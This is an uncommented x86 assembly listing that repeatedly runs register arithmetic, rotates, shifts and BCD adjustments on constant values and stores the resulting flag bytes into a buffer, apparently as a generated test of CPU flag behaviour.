mov edx, 0xe69d9f62
rol edx, 1
mov ebx, 0x6fa4f074
dec ebx
mov eax, 0x5109daf3
mov ecx, 0xe210a75a
ror eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xe0c4374f
inc edx
mov edx, 0x45309fcc
mov ecx, 0x2732b42
rol edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x1e0607d3
neg ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe7de7ba9
shl ebx, 1
mov eax, 0xd86f6a30
neg eax
mov eax, 0x8c8b639c
aaa
mov edx, 0x23867520
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x380d670e
mov ebx, 0x3c2dd30
cmp edx, ebx
mov eax, 0x581e1523
rol eax, 1
mov ebx, 0xe8f7a39b
mov ecx, 0x4cf6a454
rol ebx, cl
mov ebx, 0xa3c46920
neg ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xdd4867ac
dec edx
mov eax, 0xd60fe50
rol eax, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x4da1d6f7
mov ecx, 0x120897a5
shl ebx, cl
mov ebx, 0xb84c3b3e
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x7d4dcc8e
mov edx, 0x2f967
sub ebx, edx
mov eax, 0x276f4a78
aaa
mov eax, 0x905b91b
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc0ba8fc9
mov ebx, 0xeb6bfb7b
add eax, ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x44d384ba
inc ecx
mov eax, 0xc2c53703
mov ecx, 0x553c0b1b
ror eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x16b8209b
aas
mov ebx, 0x773dfc4a
shl ebx, 1
mov ebx, 0x7687d9fa
rol ebx, 1
mov ecx, 0xaf7f8f31
sub ecx, 0x9b4c16da
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x2c135164
mov ecx, 0xbe5016c6
add ebx, ecx
mov eax, 0xa8bf6d3
aas
mov edx, 0x5b80066e
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xbfcfec6a
mov ecx, 0x582e4f3f
rol edx, cl
mov edx, 0x5e17007
inc edx
mov ebx, 0x1f1d140d
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x658ce406
rol edx, 1
mov ecx, 0xd3533f59
mov eax, 0x7490dcd4
cmp ecx, eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x6ffddb6c
mov ecx, 0x14543ce2
rol eax, cl
mov eax, 0x8b4d9e79
aas
mov eax, 0xc56f61da
mov ecx, 0x704e4a3b
rol eax, cl
mov ecx, 0xb1618410
neg ecx
mov eax, 0x9ae344ff
aaa
mov edx, 0x63be41f0
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x66b39c4c
sub ebx, 0x7470b544
mov ecx, 0x48ebe25c
cmp ecx, 0xd6489044
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xe790dc67
sar ebx, 0x17
mov eax, 0xdfc189d2
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x28bd1530
dec ecx
mov ebx, 0xf1452f
rol ebx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xdd29590b
rol edx, 1
mov ecx, 0xffc87119
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x1d6a860b
sal edx, 1
mov ebx, 0x21101f32
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xecd2bf80
neg ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x8068a3c1
mov ecx, 0xc78bb3d6
rol ebx, cl
mov ebx, 0x3b146762
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x65f73e4
rol eax, 1
mov ecx, 0x1d0cfb6f
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xd83775bf
mov ecx, 0x7136ee61
ror edx, cl
mov ebx, 0x1b09a077
mov ecx, 0x941088c7
ror ebx, cl
mov edx, 0x2241daca
inc edx
mov edx, 0xaa1fddb6
mov ecx, 0x39bee61a
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xd1e94cea
mov ecx, 0x8e6ecf26
sub eax, ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xb5cc2f8e
mov ecx, 0xa3ffc913
rol ebx, cl
mov ebx, 0xe6dac49f
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x6371cea2
sar edx, 0x7a
mov ebx, 0x1d54cb01
mov ecx, 0x54a76388
rol ebx, cl
mov eax, 0xccfc0f51
cmp eax, 0x3f85f931
mov eax, 0x4f01f44b
aas
mov ebx, 0x7eb78db3
mov edx, 0xe6247e92
sub ebx, edx
mov eax, 0x8dafc99d
aaa
mov ecx, 0xa5ee490
neg ecx
mov eax, 0x8455185e
aas
mov ebx, 0xf54b0160
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x87405fe4
neg ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6ffc16fe
dec eax
mov edx, 0x8fe87ec0
mov ecx, 0x650b7132
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xaa7e001e
cmp ebx, 0x2bdf4075
mov eax, 0x9171c6a3
aas
mov ebx, 0xfa73adc0
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x21d70b9
mov ecx, 0x1af4c75b
ror eax, cl
mov ecx, 0xa3191d68
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xad78a5c6
mov ecx, 0x3edbb0cf
rol edx, cl
mov eax, 0xac8daf43
aaa
mov edx, 0x5c8eccff
mov ecx, 0x84892dcb
rol edx, cl
mov eax, 0x64a882fc
aaa
mov ecx, 0x88ec1c53
sub ecx, 0x64b555d1
mov eax, 0x97310c80
aas
mov edx, 0x9843fe4
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x90d9a783
add ebx, 0xfa9e89fc
mov eax, 0x22aa443a
aaa
mov eax, 0xda05a210
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x84ae9c90
neg ecx
mov eax, 0xbee54397
aaa
mov ebx, 0x246b2cd9
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xcaa4d2de
mov ecx, 0x25379ae6
shl edx, cl
mov eax, 0xfd01f0fc
mov ebx, 0x37a6a094
cmp eax, ebx
mov edx, 0x2bafb782
mov ecx, 0x878e2463
ror edx, cl
mov eax, 0xd04c1bed
mov ecx, 0x987f7e6c
ror eax, cl
mov edx, 0xdce4d4d3
rol edx, 1
mov edx, 0x1f986944
mov ebx, 0xf3f19b31
cmp edx, ebx
mov edx, 0x27d410b7
rol edx, 1
mov eax, 0xf8cdfbf6
mov ecx, 0xfe647d70
rol eax, cl
mov eax, 0xe30b40cc
mov ecx, 0x52daeeab
ror eax, cl
mov ebx, 0xba8ddf38
mov edx, 0x94426a0c
cmp ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x10a7afbd
mov ecx, 0x85662b07
rol edx, cl
mov ecx, 0x6d9f8f29
mov ebx, 0x4eecbc04
sub ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x65208063
mov edx, 0xfed949e1
sub ecx, edx
mov eax, 0xbc9b4a07
aas
mov edx, 0x1fe4c509
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xee6fb365
mov ecx, 0x9d4ed5c5
ror edx, cl
mov ecx, 0xf38065e7
cmp ecx, 0xddb9e4f3
mov eax, 0xa47b59a7
aas
mov edx, 0xd572a02
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x3acace49
cmp edx, 0xc43be753
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7fb3b2c8
mov ecx, 0x59224526
rol eax, cl
mov edx, 0x322b7aba
mov ecx, 0xea7a8f0d
rol edx, cl
mov ebx, 0xbea056bd
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x1b48e456
rol edx, 1
mov edx, 0x5f160ca1
mov ecx, 0x5c314551
ror edx, cl
mov ecx, 0xb3a144c0
dec ecx
mov ebx, 0x8b232ff5
mov ecx, 0xac52655b
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x3b9b4a2f
shl ebx, 0xd4
mov eax, 0x69619da3
mov ecx, 0x44c884c5
ror eax, cl
mov edx, 0x93a45cef
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xb33c8a2f
dec ebx
mov ebx, 0x2279619a
mov ecx, 0x5340635d
rol ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x4a5885ea
mov ecx, 0xc33b6dbd
ror eax, cl
mov ebx, 0xd29109df
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x610b45d7
mov ecx, 0x8da9b79
rol ebx, cl
mov eax, 0x6e4896bf
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x7f1978d9
rol edx, 1
mov edx, 0x3adb0c59
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8b9f1619
add edx, 0x14ec8d65
mov ecx, 0x60bdd39a
mov ebx, 0xf6b2f162
cmp ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xb8f1ca03
mov ecx, 0xd898cedd
rol ebx, cl
mov eax, 0x131f4f77
mov ecx, 0xa6be4866
rol eax, cl
mov edx, 0x3eb18014
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0xb02bcae5
mov eax, 0x4c888bbb
cmp ecx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x1c2a56e2
rol edx, 1
mov edx, 0x1cf79de1
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xaee807f7
cmp edx, 0x59010b30
lahf
mov byte [edi], ah
inc edi
mov eax, 0x273900be
mov ecx, 0x73002baf
rol eax, cl
mov edx, 0xa7bcc21c
rol edx, 1
mov edx, 0x6d4388b9
mov ebx, 0x1fc03b10
add edx, ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xf5166123
mov eax, 0x3e977600
cmp edx, eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xfab7b8a
mov ecx, 0xcdfac2e4
ror eax, cl
mov edx, 0xc923c92e
mov ecx, 0x225232db
ror edx, cl
mov ebx, 0x950391bf
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x117528af
dec edx
mov edx, 0xda5742e1
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x74749b8
sal eax, 1
mov edx, 0x983f4d78
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x2c10f5a3
mov eax, 0xd3097246
add edx, eax
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xbedaad76
dec ecx
mov edx, 0x4f32a1de
mov ecx, 0xcb3da301
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xa0fb331c
sal ebx, 1
mov edx, 0x51d78f0a
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x41d5af33
add edx, 0x1dea36a0
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xebf9251f
cmp ecx, 0x873e4413
mov ebx, 0x1b816b4b
mov eax, 0x34269822
sub ebx, eax
mov ecx, 0x6cb1ba7f
inc ecx
mov edx, 0x22ed89ed
rol edx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x567a93e3
shl ebx, 1
mov edx, 0x51ef1bff
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x79a63db5
mov ecx, 0x70128b2
ror eax, cl
mov edx, 0x4bf5c243
mov ecx, 0x852c11cb
ror edx, cl
mov eax, 0xb145f257
aaa
mov eax, 0x3c6649d0
rol eax, 1
mov ebx, 0x3d8bc63f
inc ebx
mov edx, 0x27670b62
mov ecx, 0xbf26cfcb
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x9c5f1202
mov ecx, 0x8cfecfb1
ror ebx, cl
mov edx, 0x7b0a2815
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x2f44066c
aaa
mov ebx, 0xee353fb
cmp ebx, 0xb0e06700
mov edx, 0x310758f7
mov ecx, 0x6b46f00e
ror edx, cl
mov ebx, 0xce063743
cmp ebx, 0xbcc70f48
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xd68fc739
mov ecx, 0x91eead95
rol edx, cl
mov ecx, 0x4cabbc07
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xa623da76
dec ecx
mov eax, 0x54c17ad
mov ecx, 0x817fa383
rol eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x9f4efeb4
sal edx, 1
mov eax, 0x916812f9
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xf2039a39
mov ecx, 0xe2b2b4a7
ror ebx, cl
mov edx, 0x5c624b7a
cmp edx, 0x61f3c10b
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xcd5eed18
mov eax, 0x453f36d6
add edx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4a0e2141
inc eax
mov eax, 0xe62878d2
mov ecx, 0x2c4bc3db
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x52bebe9a
dec ebx
mov edx, 0x29584da0
rol edx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x2f5d4a69
sub eax, 0xb0d2fa25
mov eax, 0x81e868a
aas
mov eax, 0x1ed79210
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xc3b56e00
mov edx, 0xaa4a64f2
sub ecx, edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x2a690193
add ecx, 0x3ceef8cb
mov eax, 0x4208580a
aaa
mov eax, 0xabf1a566
shl eax, 1
mov edx, 0xbc58f97b
shl edx, 1
mov ecx, 0xc81d2e64
cmp ecx, 0x3a929950
mov eax, 0xc72439ff
aas
mov edx, 0xf2af54b0
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x41549a75
dec eax
mov edx, 0xa784ee15
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x94fa0c63
dec edx
mov eax, 0x9f7f302a
mov ecx, 0x289e7279
rol eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x4c0a5968
mov ecx, 0xd4753fa4
sal ebx, cl
mov eax, 0x8557b131
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8bdce5a4
mov ecx, 0xc84f3cc1
ror eax, cl
mov eax, 0x8c28ee00
dec eax
mov ebx, 0x42d462e6
mov ecx, 0xa027c3dc
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5da8d23
dec edx
mov eax, 0xe7f5caf7
mov ecx, 0x112c0841
rol eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x59c4f272
dec edx
mov edx, 0x1aa95c6d
mov ecx, 0x4e30fd1d
rol edx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x75e16c4c
mov ecx, 0xb3484470
rol edx, cl
mov eax, 0x3b63d4e9
mov ecx, 0xf5920a8a
rol eax, cl
mov eax, 0xeffa7360
dec eax
mov edx, 0x20ddfa22
mov ecx, 0x7cb435ce
ror edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x4baa6dd5
rol ebx, 1
mov edx, 0xff49188f
inc edx
mov edx, 0x4e81d013
mov ecx, 0xa68765f
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4cb9855a
rol edx, 1
mov eax, 0xddae3e53
mov ecx, 0xd62986ca
ror eax, cl
mov edx, 0xbb3b6dfd
mov ecx, 0xadca7414
sar edx, cl
mov ecx, 0x45ed803f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe92be74f
rol ebx, 1
mov edx, 0x3e34c254
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x75ffb741
rol edx, 1
mov edx, 0x731b5141
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf79adafe
mov eax, 0x88cb891c
sub edx, eax
mov edx, 0xd2992c1c
inc edx
mov eax, 0xff553e5e
rol eax, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xc40dbf28
mov ecx, 0xeea496e9
ror edx, cl
mov eax, 0x67c5b65f
mov ebx, 0x651aff9b
cmp eax, ebx
mov eax, 0x48d47ff8
aas
mov ebx, 0x48caaaa7
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x4ced305d
mov ecx, 0x8f04a429
rol eax, cl
mov ebx, 0x2ca55ac0
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4b5ddc38
shl eax, 1
mov ebx, 0x4ff8169
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x46e87fa6
mov eax, 0x1101c2d7
add edx, eax
mov eax, 0x52575cb1
mov ecx, 0xffd6b7e1
shl eax, cl
mov eax, 0xf3f69852
aas
mov ebx, 0x8bce37b0
mov ecx, 0x7aeff018
cmp ebx, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x1c832b06
rol eax, 1
mov ecx, 0x3a2c3587
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb552fb0a
mov ecx, 0x75dd2065
shl edx, cl
mov edx, 0x7067c139
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xdeae77ed
mov ebx, 0x44ff2b5
cmp ecx, ebx
mov eax, 0x2661298b
aaa
mov ebx, 0xd4beea4f
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x15047c79
mov eax, 0x5aed290d
sub edx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x889acc86
mov ecx, 0xe945103a
rol ebx, cl
mov eax, 0x1aa2dc20
dec eax
mov eax, 0x88b4e870
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xb7aad6f5
mov ecx, 0x2a9520dc
rol eax, cl
mov ecx, 0x2a77f1c9
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x5f5a0fc3
sal edx, 1
mov ebx, 0x9e23b65b
mov ecx, 0x2b52da12
rol ebx, cl
mov ebx, 0xd195030d
mov ecx, 0x1d4cdafc
ror ebx, cl
mov ebx, 0x717c8067
sal ebx, 1
mov eax, 0xcce0290
dec eax
mov edx, 0x27da4924
mov ecx, 0x7d8580da
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x7983356a
mov ecx, 0xd83266af
ror edx, cl
mov ebx, 0x8618f9cf
mov ecx, 0x95fb42c7
rol ebx, cl
mov edx, 0x96d726ef
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xa2e16c6
mov ecx, 0xe4a9e32f
rol eax, cl
mov edx, 0x31063b39
rol edx, 1
mov ecx, 0x5ade6d5f
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x235185f6
mov ecx, 0xf0789c87
ror ebx, cl
mov ebx, 0x1becb17c
cmp ebx, 0xfbb5e6e1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x3c25ff4a
shl ebx, 1
mov eax, 0x53c68d8a
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x714f7e11
mov ecx, 0xdfae1073
rol ebx, cl
mov eax, 0x3686a71c
mov ecx, 0x2b61cb7c
ror eax, cl
mov ebx, 0xaee0303f
mov ecx, 0x44e31aff
rol ebx, cl
mov eax, 0x9010598c
sub eax, 0x6709711e
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x6fe65bb9
inc eax
mov edx, 0x1d40ba2c
mov ecx, 0xf0c391f8
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x9e96e833
cmp edx, 0x6a175650
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x850f28c0
rol ebx, 1
mov ecx, 0x2da6659
cmp ecx, 0xd30b4160
mov eax, 0x94e762c7
aas
mov eax, 0x39dfb7f8
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x13bff7d8
cmp ebx, 0xca8c21be
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xac9b479f
inc ecx
mov edx, 0x7777f442
mov ecx, 0x576555a
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb77c9ef0
rol edx, 1
mov ecx, 0xcf68644f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb63562af
sal edx, 1
mov eax, 0x5917ba7f
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x956e8bcf
rol edx, 1
mov eax, 0xaba3581a
sar eax, 0x56
mov eax, 0x54cc1ece
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x7164a9b0
rol eax, 1
mov ebx, 0x1b013f6c
rol ebx, 1
mov eax, 0x74d7a93f
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0xf065813a
dec ecx
mov ebx, 0x41c751f1
mov ecx, 0x470652d7
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xf16a5f6
mov eax, 0x5097e361
add ebx, eax
mov eax, 0xeaee58f7
aas
mov ebx, 0xa25550a
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xa5d97fde
rol edx, 1
mov ebx, 0x91f10e40
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x8e29be9e
mov ecx, 0x5fb09726
rol ebx, cl
mov ecx, 0x1a15899c
sub ecx, 0xb12aa8a7
mov eax, 0xb5f66d67
aaa
mov ecx, 0x76cd0416
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x54ef6d84
aaa
mov ebx, 0x67e6bad
mov edx, 0x57df941a
add ebx, edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x5faddc9b
mov ecx, 0x34c4a09d
rol eax, cl
mov eax, 0xf6cff26e
mov ecx, 0xb2e4c66
ror eax, cl
mov eax, 0x520662b8
rol eax, 1
mov ecx, 0xef198c1c
mov eax, 0x9bdebf81
sub ecx, eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x48b6743f
aas
mov eax, 0x1cc015f1
mov ebx, 0xedf9caeb
add eax, ebx
mov eax, 0x534aff69
aas
mov ecx, 0x3e337fd9
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x22faeea5
mov ecx, 0xf1256d63
ror eax, cl
mov ebx, 0xe0ae97e5
mov ecx, 0x5291127
ror ebx, cl
mov edx, 0xae364240
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb02f2194
mov ecx, 0x4e0ebdd3
rol ebx, cl
mov eax, 0xa9c9cdff
inc eax
mov eax, 0x900b963a
mov ecx, 0x93da55bf
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x28f077fa
cmp ebx, 0xbe69e79c
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7fc6bb02
cmp ebx, 0xeb877c22
mov edx, 0x6a2d4075
rol edx, 1
mov edx, 0xad4fb114
mov ecx, 0x8bae84ce
ror edx, cl
mov edx, 0x9d28c8c5
shl edx, 1
mov ecx, 0x261703b4
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xee8b4ebd
mov edx, 0x1b68300f
cmp eax, edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x29b9de4a
mov ecx, 0xef80e8b7
ror eax, cl
mov edx, 0x83ac276c
dec edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x16620d16
dec ecx
mov edx, 0x7c4f6bdb
mov ecx, 0x36ae4c43
ror edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x92ed272d
mov edx, 0xf5226179
add ecx, edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5421e229
mov ecx, 0x2288a0d9
shl edx, cl
mov edx, 0x3db89d5e
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xece7b13
mov ecx, 0x97c94071
sar eax, cl
mov eax, 0x37533ae8
cmp eax, 0x890b2ed
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x33fd208c
rol ebx, 1
mov ebx, 0x12f9fb6d
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x7cd83582
mov ecx, 0x2fbbe9a5
ror ebx, cl
mov edx, 0x7fa10ca3
shl edx, 1
mov ebx, 0x14206795
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9311355a
mov ecx, 0x4738437d
rol eax, cl
mov ebx, 0xcf752c4f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6aba13f0
neg edx
mov eax, 0x7886daaa
aaa
mov eax, 0xf0227e28
rol eax, 1
mov eax, 0x93dffbae
sal eax, 1
mov ebx, 0x3b9a5f25
shl ebx, 0x28
mov eax, 0x96234940
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xf317a7e4
sal edx, 1
mov ebx, 0x5e9c5daf
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xd007f912
rol edx, 1
mov eax, 0x5d159e12
inc eax
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xde560626
mov edx, 0xed742cf
sub ecx, edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x6d6000a6
sar eax, 0xe7
mov ebx, 0xa6d5ed75
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x63bc4d7d
dec edx
mov edx, 0x266678a
mov ecx, 0x3ac115d4
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf83eea0c
mov ecx, 0x80f94444
sar eax, cl
mov eax, 0xed5a66bb
mov ecx, 0xe9053987
ror eax, cl
mov edx, 0xcdb26bca
mov ecx, 0x33bdcfef
sal edx, cl
mov edx, 0xacac0140
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x86572088
rol edx, 1
mov eax, 0xad3b25c5
mov ecx, 0x27ca631d
rol eax, cl
mov ebx, 0x7604c198
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x592110c7
sub ebx, 0x3146328f
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x13a936a6
sal edx, 1
mov edx, 0x4dd5a100
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x33b7e7ea
dec ebx
mov ebx, 0x9a8932c2
mov ecx, 0x6190b21b
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xd2a845f1
rol edx, 1
mov edx, 0x4ec02ad2
mov ecx, 0xf843587a
rol edx, cl
mov ebx, 0xe840e071
sal ebx, 1
mov ebx, 0x73c9bc25
rol ebx, 1
mov edx, 0xd0e8bb8f
shl edx, 1
mov ebx, 0x2632d060
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x90adadd2
mov ecx, 0x89c43e5e
sar edx, cl
mov eax, 0xeef9f60b
cmp eax, 0xce3e737a
mov edx, 0x3b36424f
sal edx, 1
mov edx, 0xd94b0f1f
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x12582150
sub eax, 0xcfb11cbe
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xc3e9236e
rol eax, 1
mov edx, 0xd92b44ab
sub edx, 0xc1887b98
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x39a0d6cc
rol ebx, 1
mov edx, 0x15f74841
sub edx, 0xcc644c71
mov eax, 0x4ad020b1
aaa
mov edx, 0xe5cedb34
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x16945113
mov ecx, 0x6ae767ad
sal ebx, cl
mov edx, 0x5e7e7d8c
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xbf56b74b
mov ecx, 0x15710f24
ror eax, cl
mov ebx, 0x1a910ff
sal ebx, 1
mov ecx, 0x705c400d
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x22dbca55
dec eax
mov eax, 0x11b7ed79
mov ecx, 0xa0b6bfbd
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4cbcdc40
rol edx, 1
mov ecx, 0x96fd96b5
mov ebx, 0x8ff28400
sub ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xf37683dd
add ecx, 0xcd7708f2
mov eax, 0x3e125c8d
mov ecx, 0xa99dbf2d
ror eax, cl
mov ebx, 0x7d6ae7ee
rol ebx, 1
mov eax, 0x436e3df0
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x5e21ea01
mov ecx, 0x14884443
ror eax, cl
mov eax, 0xeca0ba0d
aas
mov edx, 0xf915fe28
mov ecx, 0xa42aae94
sub edx, ecx
mov eax, 0xf64c695
aas
mov eax, 0x10ce3746
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x81013f24
rol ebx, 1
